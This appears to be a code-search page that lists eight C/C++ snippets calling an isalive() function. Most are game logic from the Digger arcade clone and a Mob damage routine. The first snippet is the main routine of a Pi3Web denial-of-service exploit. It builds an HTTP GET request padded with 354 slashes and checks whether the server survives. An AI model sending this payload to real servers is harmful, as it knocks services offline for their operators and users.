Beispiel #1
0
void main(int argc,char *argv[])
{
	WSADATA ws;

	if	(WSAStartup( MAKEWORD(1,1), &ws )!=0)
	{
		printf(" [+] WSAStartup() error\n");
		exit(0);
	}

	printf("\n . .. ...:Pi3Web Denial of Service ([email protected]) :... 
..\n\n");

	if ((argc!=2) && (argc!=3))
		usage();

	strcpy(ip,argv[1]);
	if (argc==3) port=atoi(argv[2]);

	memset(evilrequest,0,512);
	memset(evilbuffer,0,1024);
	memset(evilrequest,'/',354);
	//sprintf(evilbuffer, "GET %s\r\n",evilrequest);
	sprintf(evilbuffer,"GET %s HTTP/1.0\r\nUser-Agent: foo\r\nHost: 
%s\r\n\r\n\r\n",evilrequest,argv[2]);

	if (isalive(1))
		{ sleep(1000); isalive(0);}

}
Beispiel #2
0
void checklevdone(void)
{
  if ((countem()==0 || monleft()==0) && isalive())
    gamedat[curplayer].levdone=true;
  else
    gamedat[curplayer].levdone=false;
}
Beispiel #3
0
void domonsters(void)
{
  Sint4 i;
  if (nextmontime>0)
    nextmontime--;
  else {
    if (nextmonster<totalmonsters && nmononscr()<maxmononscr && isalive() &&
        !bonusmode)
      createmonster();
    if (unbonusflag && nextmonster==totalmonsters && nextmontime==0)
      if (isalive()) {
        unbonusflag=false;
        createbonus();
      }
  }
  for (i=0;i<MONSTERS;i++)
    if (mondat[i].flag) {
      if (mondat[i].hnt>10-levof10()) {
        if (mondat[i].nob) {
          mondat[i].nob=false;
          mondat[i].hnt=0;
        }
      }
      if (mondat[i].alive)
        if (mondat[i].t==0) {
          monai(i);
          if (randno(15-levof10())==0) /* Need to split for determinism */
            if (mondat[i].nob && mondat[i].alive)
              monai(i);
        }
        else
          mondat[i].t--;
      else
        mondie(i);
    }
}
Beispiel #4
0
	void Mob::applydamage(int32_t damage, bool toleft)
	{
		hitsound.play();

		if (dying && stance != DIE)
		{
			applydeath();
		}
		else if (control && isalive() && damage >= knockback)
		{
			flip = toleft;
			counter = 170;
			setstance(HIT);

			updatemovement();
			awaitdeath = true;
		}
	}
Beispiel #5
0
void monai(Sint4 mon)
{
  Sint4 monox,monoy,dir,mdirp1,mdirp2,mdirp3,mdirp4,t;
  int clcoll[SPRITES],clfirst[TYPES],i,m,dig;
  bool push,bagf;
  monox=mondat[mon].x;
  monoy=mondat[mon].y;
  if (mondat[mon].xr==0 && mondat[mon].yr==0) {

    /* If we are here the monster needs to know which way to turn next. */

    /* Turn hobbin back into nobbin if it's had its time */

    if (mondat[mon].hnt>30+(levof10()<<1))
      if (!mondat[mon].nob) {
        mondat[mon].hnt=0;
        mondat[mon].nob=true;
      }

    /* Set up monster direction properties to chase Digger */

    dig=mondat[mon].chase;
    if (!digalive(dig))
      dig=(diggers-1)-dig;

    if (abs(diggery(dig)-mondat[mon].y)>abs(diggerx(dig)-mondat[mon].x)) {
      if (diggery(dig)<mondat[mon].y) { mdirp1=DIR_UP;    mdirp4=DIR_DOWN; }
                                 else { mdirp1=DIR_DOWN;  mdirp4=DIR_UP; }
      if (diggerx(dig)<mondat[mon].x) { mdirp2=DIR_LEFT;  mdirp3=DIR_RIGHT; }
                                 else { mdirp2=DIR_RIGHT; mdirp3=DIR_LEFT; }
    }
    else {
      if (diggerx(dig)<mondat[mon].x) { mdirp1=DIR_LEFT;  mdirp4=DIR_RIGHT; }
                                 else { mdirp1=DIR_RIGHT; mdirp4=DIR_LEFT; }
      if (diggery(dig)<mondat[mon].y) { mdirp2=DIR_UP;    mdirp3=DIR_DOWN; }
                                 else { mdirp2=DIR_DOWN;  mdirp3=DIR_UP; }
    }

    /* In bonus mode, run away from Digger */

    if (bonusmode) {
      t=mdirp1; mdirp1=mdirp4; mdirp4=t;
      t=mdirp2; mdirp2=mdirp3; mdirp3=t;
    }

    /* Adjust priorities so that monsters don't reverse direction unless they
       really have to */

    dir=reversedir(mondat[mon].dir);
    if (dir==mdirp1) {
      mdirp1=mdirp2;
      mdirp2=mdirp3;
      mdirp3=mdirp4;
      mdirp4=dir;
    }
    if (dir==mdirp2) {
      mdirp2=mdirp3;
      mdirp3=mdirp4;
      mdirp4=dir;
    }
    if (dir==mdirp3) {
      mdirp3=mdirp4;
      mdirp4=dir;
    }

    /* Introduce a random element on levels <6 : occasionally swap p1 and p3 */

    if (randno(levof10()+5)==1) /* Need to split for determinism */
      if (levof10()<6) {
        t=mdirp1;
        mdirp1=mdirp3;
        mdirp3=t;
      }

    /* Check field and find direction */

    if (fieldclear(mdirp1,mondat[mon].h,mondat[mon].v))
      dir=mdirp1;
    else
      if (fieldclear(mdirp2,mondat[mon].h,mondat[mon].v))
        dir=mdirp2;
      else
        if (fieldclear(mdirp3,mondat[mon].h,mondat[mon].v))
          dir=mdirp3;
        else
          if (fieldclear(mdirp4,mondat[mon].h,mondat[mon].v))
            dir=mdirp4;

    /* Hobbins don't care about the field: they go where they want. */

    if (!mondat[mon].nob)
      dir=mdirp1;

    /* Monsters take a time penalty for changing direction */

    if (mondat[mon].dir!=dir)
      mondat[mon].t++;

    /* Save the new direction */

    mondat[mon].dir=dir;
  }

  /* If monster is about to go off edge of screen, stop it. */

  if ((mondat[mon].x==292 && mondat[mon].dir==DIR_RIGHT) ||
      (mondat[mon].x==12 && mondat[mon].dir==DIR_LEFT) ||
      (mondat[mon].y==180 && mondat[mon].dir==DIR_DOWN) ||
      (mondat[mon].y==18 && mondat[mon].dir==DIR_UP))
    mondat[mon].dir=DIR_NONE;

  /* Change hdir for hobbin */

  if (mondat[mon].dir==DIR_LEFT || mondat[mon].dir==DIR_RIGHT)
    mondat[mon].hdir=mondat[mon].dir;

  /* Hobbins dig */

  if (!mondat[mon].nob)
    eatfield(mondat[mon].x,mondat[mon].y,mondat[mon].dir);

  /* (Draw new tunnels) and move monster */

  switch (mondat[mon].dir) {
    case DIR_RIGHT:
      if (!mondat[mon].nob)
        drawrightblob(mondat[mon].x,mondat[mon].y);
      mondat[mon].x+=4;
      break;
    case DIR_UP:
      if (!mondat[mon].nob)
        drawtopblob(mondat[mon].x,mondat[mon].y);
      mondat[mon].y-=3;
      break;
    case DIR_LEFT:
      if (!mondat[mon].nob)
        drawleftblob(mondat[mon].x,mondat[mon].y);
      mondat[mon].x-=4;
      break;
    case DIR_DOWN:
      if (!mondat[mon].nob)
        drawbottomblob(mondat[mon].x,mondat[mon].y);
      mondat[mon].y+=3;
      break;
  }

  /* Hobbins can eat emeralds */

  if (!mondat[mon].nob)
    hitemerald((mondat[mon].x-12)/20,(mondat[mon].y-18)/18,
               (mondat[mon].x-12)%20,(mondat[mon].y-18)%18,
               mondat[mon].dir);

  /* If Digger's gone, don't bother */

  if (!isalive()) {
    mondat[mon].x=monox;
    mondat[mon].y=monoy;
  }

  /* If monster's just started, don't move yet */

  if (mondat[mon].stime!=0) {
    mondat[mon].stime--;
    mondat[mon].x=monox;
    mondat[mon].y=monoy;
  }

  /* Increase time counter for hobbin */

  if (!mondat[mon].nob && mondat[mon].hnt<100)
    mondat[mon].hnt++;

  /* Draw monster */

  push=true;
  drawmon(mon,mondat[mon].nob,mondat[mon].hdir,mondat[mon].x,mondat[mon].y);
  for (i=0;i<TYPES;i++)
    clfirst[i]=first[i];
  for (i=0;i<SPRITES;i++)
    clcoll[i]=coll[i];
  incpenalty();

  /* Collision with another monster */

  if (clfirst[2]!=-1) {
    mondat[mon].t++; /* Time penalty */
    /* Ensure both aren't moving in the same dir. */
    i=clfirst[2];
    do {
      m=i-FIRSTMONSTER;
      if (mondat[mon].dir==mondat[m].dir && mondat[m].stime==0 &&
          mondat[mon].stime==0)
        mondat[m].dir=reversedir(mondat[m].dir);
      /* The kludge here is to preserve playback for a bug in previous
         versions. */
      if (!kludge)
        incpenalty();
      else
        if (!(m&1))
          incpenalty();
      i=clcoll[i];
    } while (i!=-1);
    if (kludge)
      if (clfirst[0]!=-1)
        incpenalty();
  }

  /* Check for collision with bag */

  i=clfirst[1];
  bagf=false;
  while (i!=-1) {
    if (bagexist(i-FIRSTBAG)) {
      bagf=true;
      break;
    }
    i=clcoll[i];
  }

  if (bagf) {
    mondat[mon].t++; /* Time penalty */
    mongotgold=false;
    if (mondat[mon].dir==DIR_RIGHT || mondat[mon].dir==DIR_LEFT) {
      push=pushbags(mondat[mon].dir,clfirst,clcoll);      /* Horizontal push */
      mondat[mon].t++; /* Time penalty */
    }
    else
      if (!pushudbags(clfirst,clcoll)) /* Vertical push */
        push=false;
    if (mongotgold) /* No time penalty if monster eats gold */
      mondat[mon].t=0;
    if (!mondat[mon].nob && mondat[mon].hnt>1)
      removebags(clfirst,clcoll); /* Hobbins eat bags */
  }

  /* Increase hobbin cross counter */

  if (mondat[mon].nob && clfirst[2]!=-1 && isalive())
    mondat[mon].hnt++;

  /* See if bags push monster back */

  if (!push) {
    mondat[mon].x=monox;
    mondat[mon].y=monoy;
    drawmon(mon,mondat[mon].nob,mondat[mon].hdir,mondat[mon].x,mondat[mon].y);
    incpenalty();
    if (mondat[mon].nob) /* The other way to create hobbin: stuck on h-bag */
      mondat[mon].hnt++;
    if ((mondat[mon].dir==DIR_UP || mondat[mon].dir==DIR_DOWN) &&
        mondat[mon].nob)
      mondat[mon].dir=reversedir(mondat[mon].dir); /* If vertical, give up */
  }

  /* Collision with Digger */

  if (clfirst[4]!=-1 && isalive())
    if (bonusmode) {
      killmon(mon);
      i=clfirst[4];
      while (i!=-1) {
        if (digalive(i-FIRSTDIGGER+curplayer))
          sceatm(i-FIRSTDIGGER+curplayer);
        i=clcoll[i];
      }
      soundeatm(); /* Collision in bonus mode */
    }
    else {
      i=clfirst[4];
      while (i!=-1) {
        if (digalive(i-FIRSTDIGGER+curplayer))
          killdigger(i-FIRSTDIGGER+curplayer,3,0); /* Kill Digger */
        i=clcoll[i];
      }
    }

  /* Update co-ordinates */

  mondat[mon].h=(mondat[mon].x-12)/20;
  mondat[mon].v=(mondat[mon].y-18)/18;
  mondat[mon].xr=(mondat[mon].x-12)%20;
  mondat[mon].yr=(mondat[mon].y-18)%18;
}
Beispiel #6
0
static void
diggerdie(struct digger_draw_api *ddap, int n)
{
  int clfirst[TYPES],clcoll[SPRITES],i;
  bool alldead;
  switch (digdat[n].deathstage) {
    case 1:
      if (bagy(digdat[n].deathbag)+6>digdat[n].dob.y)
        digdat[n].dob.y=bagy(digdat[n].deathbag)+6;
      drawdigger(n-curplayer,15,digdat[n].dob.x,digdat[n].dob.y,false);
      incpenalty();
      if (getbagdir(digdat[n].deathbag)+1==0) {
        soundddie();
        digdat[n].deathtime=5;
        digdat[n].deathstage=2;
        digdat[n].deathani=0;
        digdat[n].dob.y-=6;
      }
      break;
    case 2:
      if (digdat[n].deathtime!=0) {
        digdat[n].deathtime--;
        break;
      }
      if (digdat[n].deathani==0)
        music(2);
      drawdigger(n-curplayer,14-digdat[n].deathani,digdat[n].dob.x,digdat[n].dob.y,
                 false);
      for (i=0;i<TYPES;i++)
        clfirst[i]=first[i];
      for (i=0;i<SPRITES;i++)
        clcoll[i]=coll[i];
      incpenalty();
      if (digdat[n].deathani==0 && clfirst[2]!=-1)
        killmonsters(clfirst,clcoll);
      if (digdat[n].deathani<4) {
        digdat[n].deathani++;
        digdat[n].deathtime=2;
      }
      else {
        digdat[n].deathstage=4;
        if (musicflag || diggers>1)
          digdat[n].deathtime=60;
        else
          digdat[n].deathtime=10;
      }
      break;
    case 3:
      digdat[n].deathstage=5;
      digdat[n].deathani=0;
      digdat[n].deathtime=0;
      break;
    case 5:
      if (digdat[n].deathani>=0 && digdat[n].deathani<=6) {
        drawdigger(n-curplayer,15,digdat[n].dob.x,
                   digdat[n].dob.y-deatharc[digdat[n].deathani],false);
        if (digdat[n].deathani==6 && !isalive())
          musicoff();
        incpenalty();
        digdat[n].deathani++;
        if (digdat[n].deathani==1)
          soundddie();
        if (digdat[n].deathani==7) {
          digdat[n].deathtime=5;
          digdat[n].deathani=0;
          digdat[n].deathstage=2;
        }
      }
      break;
    case 4:
      if (digdat[n].deathtime!=0)
        digdat[n].deathtime--;
      else {
        digdat[n].dead=true;
        alldead=true;
        for (i=0;i<diggers;i++)
          if (!digdat[i].dead) {
            alldead=false;
            break;
          }
        if (alldead)
          setdead(true);
        else
          if (isalive() && digdat[n].lives>0) {
            if (!gauntlet)
              digdat[n].lives--;
            drawlives(ddap);
            if (digdat[n].lives>0) {
              digdat[n].v=9;
              digdat[n].mdir=4;
              digdat[n].h=(diggers==1) ? 7 : (8-n*2);
              digdat[n].dob.x=digdat[n].h*20+12;
              digdat[n].dob.dir=(n==0) ? DIR_RIGHT : DIR_LEFT;
              digdat[n].rx=0;
              digdat[n].ry=0;
              digdat[n].bagtime=0;
              digdat[n].dob.alive=true;
              digdat[n].dead=false;
              digdat[n].invin=true;
              digdat[n].ivt=50;
              digdat[n].deathstage=1;
              digdat[n].dob.y=digdat[n].v*18+18;
              erasespr(n+FIRSTDIGGER-curplayer);
              CALL_METHOD(&digdat[n].dob, put);
              digdat[n].notfiring=true;
              digdat[n].emocttime=0;
              digdat[n].firepressed=false;
              digdat[n].bob.expsn=0;
              digdat[n].rechargetime=0;
              digdat[n].emn=0;
              digdat[n].msc=1;
            }
            clearfire(n);
            if (bonusmode)
              music(0);
            else
              music(1);
          }
      }
  }
}
Beispiel #7
0
void
dodigger(struct digger_draw_api *ddap)
{
  int n;
  int16_t tdir;

  newframe();
  if (gauntlet) {
    drawlives(ddap);
    if (cgtime<ftime)
      timeout=true;
    cgtime-=ftime;
  }
  for (n=curplayer;n<diggers+curplayer;n++) {
    if (digdat[n].bob.expsn!=0)
      drawexplosion(n);
    else
      updatefire(ddap, n);
    if (digvisible) {
      if (digdat[n].dob.alive)
        if (digdat[n].bagtime!=0) {
          tdir = digdat[n].dob.dir;
          digdat[n].dob.dir = digdat[n].mdir;
          drawdig(n);
          digdat[n].dob.dir = tdir;
          incpenalty();
          digdat[n].bagtime--;
        }
        else
          updatedigger(ddap, n);
      else
        diggerdie(ddap, n);
    }
    if (digdat[n].emocttime>0)
      digdat[n].emocttime--;
  }
  if (bonusmode && isalive()) {
    if (bonustimeleft!=0) {
      bonustimeleft--;
      if (startbonustimeleft!=0 || bonustimeleft<20) {
        startbonustimeleft--;
        if (bonustimeleft&1) {
          ddap->ginten(0);
          soundbonus();
        }
        else {
          ddap->ginten(1);
          soundbonus();
        }
        if (startbonustimeleft==0) {
          music(0);
          soundbonusoff();
          ddap->ginten(1);
        }
      }
    }
    else {
      endbonusmode(ddap);
      soundbonusoff();
      music(1);
    }
  }
  if (bonusmode && !isalive()) {
    endbonusmode(ddap);
    soundbonusoff();
    music(1);
  }
}
Beispiel #8
0
void dodigger(void)
{
  int n;
  newframe();
  if (gauntlet) {
    drawlives();
    if (cgtime<ftime)
      timeout=TRUE;
    cgtime-=ftime;
  }
  for (n=curplayer;n<diggers+curplayer;n++) {
    if (digdat[n].expsn!=0)
      drawexplosion(n);
    else
      updatefire(n);
    if (digvisible)
      if (digdat[n].alive)
        if (digdat[n].bagtime!=0) {
          drawdig(n,digdat[n].mdir,digdat[n].x,digdat[n].y,
                  digdat[n].notfiring && digdat[n].rechargetime==0);
          incpenalty();
          digdat[n].bagtime--;
        }
        else
          updatedigger(n);
      else
        diggerdie(n);
    if (digdat[n].emocttime>0)
      digdat[n].emocttime--;
  }
  if (bonusmode && isalive()) {
    if (bonustimeleft!=0) {
      bonustimeleft--;
      if (startbonustimeleft!=0 || bonustimeleft<20) {
        startbonustimeleft--;
        if (bonustimeleft&1) {
          ginten(0);
          soundbonus();
        }
        else {
          ginten(1);
          soundbonus();
        }
        if (startbonustimeleft==0) {
          music(0);
          soundbonusoff();
          ginten(1);
        }
      }
    }
    else {
      endbonusmode();
      soundbonusoff();
      music(1);
    }
  }
  if (bonusmode && !isalive()) {
    endbonusmode();
    soundbonusoff();
    music(1);
  }
}